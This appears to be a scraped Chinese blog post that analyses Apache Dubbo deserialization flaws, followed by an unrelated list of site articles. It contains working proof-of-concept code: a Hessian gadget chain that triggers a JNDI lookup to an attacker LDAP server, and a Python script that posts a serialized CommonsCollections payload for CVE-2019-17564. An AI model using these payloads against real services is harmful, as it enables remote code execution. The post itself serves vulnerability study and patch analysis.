com.sun.org.apache.xalan.internal.xslt.Process._main @福来阁 @Water Paddler
sun.tools.jar.Main.main
writeup @Cyku
System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm @StrawHat

最常见的就是利用System.setProperty + InitalContext.doLookup

SwingLazyValue.createValue 中拿到public static 的方法 然后invoke

image-20230213012350024

java">MimeTypeParameterList#toString()->
    UIDefaults#get()->
    	UIDefaults#getFromHashTable()->
            	SwingLazyValue#createValue()

修改前面poc的恶意对象部分

java">//only jdk
SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/yxh3ln"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q",value);
Object o=obj("java.awt.datatransfer.MimeTypeParameterList");
setValue(o,"parameters",uiDefaults);
//序列化
ByteArrayOutputStream brr = new ByteArrayOutputStream();
Hessian2Output output=new Hessian2Output(brr);
output.setSerializerFactory(new SerializerFactory());
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);

image-20230213020702709

image-20230213183349341

这个利用链可以在 2.7.14 版本利用。这里不过多展开,其他利用链可参考:

  • 0ctf2022 hessian-only-jdk writeup jdk原生链

  • 0ctf/tctf 2022 hessian only jdk 复现和学习

补丁

2.7.15版本升级hessian_lite_version到3.2.12,该版本中移除对String的调用

https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#

image-20230212014549684

CVE-2019-17564(Http协议)

  • 2.7.0 <= Apache Dubbo <= 2.7.4.1
  • 2.6.0 <= Apache Dubbo <= 2.6.7
  • Apache Dubbo = 2.5.x

测试版本 Dubbo 2.7.3

会直接将 POST请求 body中的数据进行反序列化处理造成了漏洞。

下载https://github.com/apache/dubbo-samples/tree/master/3-extensions/protocol/dubbo-samples-http模块,dubbo版本切换为2.7.3版本,并且加入cc组件依赖进行漏洞调试。

记得加上version 不然切换版本会报错。修改http-provider.xml的配置换一个端口非8080就行,这个端口被Zookeeper占了。

image-20230213212023336

import requests
import base64

url = "http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)

headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)

在接收到http请求之后会调用DispatcherServlet#service方法处理请求。

image-20230213213506914

使用HttpInvokerServiceExporter 作为skeleton处理http请求

image-20230213214545536

contentType是application/x-java-serialized-object类型

image-20230213214535082

直接跟进调用直接到RemoteInvocationSerializingExporter#doReadRemoteInvocation方法,这里有个反序列化的点,进行java原生反序列化

image-20230213211621129

主体调用链如下:

java">doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)

补丁

将Spring框架的HttpInvokerServiceExporter类换成JsonRpcServer类,实际调用的是其父类JsonRpcBasicServer.hanlde方法,其中没有反序列化的危险操作,数据传输改用json 来完成。

参考

官方文档:Dubbo 开发指南

dubbo源码浅析:默认反序列化利用之hessian2

原创连载|Apache Dubbo 漏洞分析—Apache Dubbo 编解码原理详解

Dubbo 编解码那些事

Dubbo 源码分析

Hessian和Java反序列化问题小结

关于 Dubbo Hessian 反序列化的类不含无参构造函数的问题

Dubbo反序列化漏洞分析集合1

Dubbo2.7.7反序列化漏洞绕过分析

Apache-Dubbo-反序列化漏洞


http://www.niftyadmin.cn/n/64743.html

相关文章

【算法】前缀和

作者&#xff1a;指针不指南吗 专栏&#xff1a;算法篇 &#x1f43e;要学会在纸上打草稿&#xff0c;这个很重要&#x1f43e; 文章目录1.什么是前缀和&#xff1f;2.怎么求前缀和&#xff1f;3.前缀和有什么用&#xff1f;4.进阶二维:矩阵和前缀和 主打一个记公式 1.什么是前…

HappyAI 算法任务调度平台 - 开篇

HappyAI 算法任务调度平台 - 开篇 HappyAI 算法任务调度平台 - 接入 HappyAI 算法任务调度平台 - 开发 1. 支持不同算法侧接入即算法集群&#xff08;如&#xff1a;paddle算法平台&#xff1b;mmdetection算法平台&#xff09; 2. 支持不同相机取流&#xff08;如&#xff…

Java如何整合FFmpeg、FFprobe等音视频处理工具,零基础照样玩

前言&#xff1a;时隔一年多了&#xff0c;不知不觉博客停更那么久了&#xff0c;那不忘初心还记得吗&#xff1f; 最近在做音视频相关的开发&#xff0c;没什么资料并且之前也没有接触过这方面&#xff0c; 咨询了T届的好友&#xff0c;拿到了下面的这张表情包&#xff0c;问题…

电子纸墨水屏的现实应用场景

电子纸挺好个东西&#xff0c;大家都把注意力集中在商超场景 其实还有更多有趣的场景方案可用&#xff0c;价值也不小&#xff0c;比如&#xff1a; 一、仓库场景 通过亮灯拣选&#xff0c;提高仓库作业效率 二、仓库循环使用标签 做NFC类发卡式应用&#xff0c;替代传统纸…

BCMA靶点药物销售市场-上市药品前景分析

在之前的二十多年里&#xff0c;治疗多发性骨髓瘤(MM)的药物选择发生了重大转变&#xff0c;无论是新诊断还是复发/难治期。新药类别的引入&#xff0c;如蛋白酶体抑制剂、免疫调节剂、抗CD38和抗SLAMF7单克隆抗体&#xff0c;加上自体干细胞移植&#xff0c;使该疾病的五年生存…

浅谈智慧城市管廊综合管理平台的建设

摘 要&#xff1a;随着智慧城市的发展&#xff0c;地下综合管廊的建设不断增多&#xff0c;建成后的管廊需要有科学合理的综合管理平台对其进行智能化管理。本文介绍了地下综合管廊的建设内容&#xff0c;从管廊智能化管理角度出发&#xff0c;在运用GIS、可视化、传感器、物联…

华科万维C++章节练习4_6

【程序设计】 题目&#xff1a; 编程输出下列图形&#xff0c;中间一行英文字母由输入得到。 A B B B C C C C C D D D D D D D C C C C C B B B A 开头空一格&#xff0c;字母间空两格…

Git 安装和使用(非常详细教程)

Git 安装和使用Tips 目录&#xff1a;导读 1. git的安装 1)首先去下载 2)傻瓜式下一步再下一步地去安装 2. git的常见命令 提交代码 下载代码 分支提交代码 3. git的常见问题 1) 提示出错信息&#xff1a;fatal: remote origin already exists. 2) 发现日志等文件没…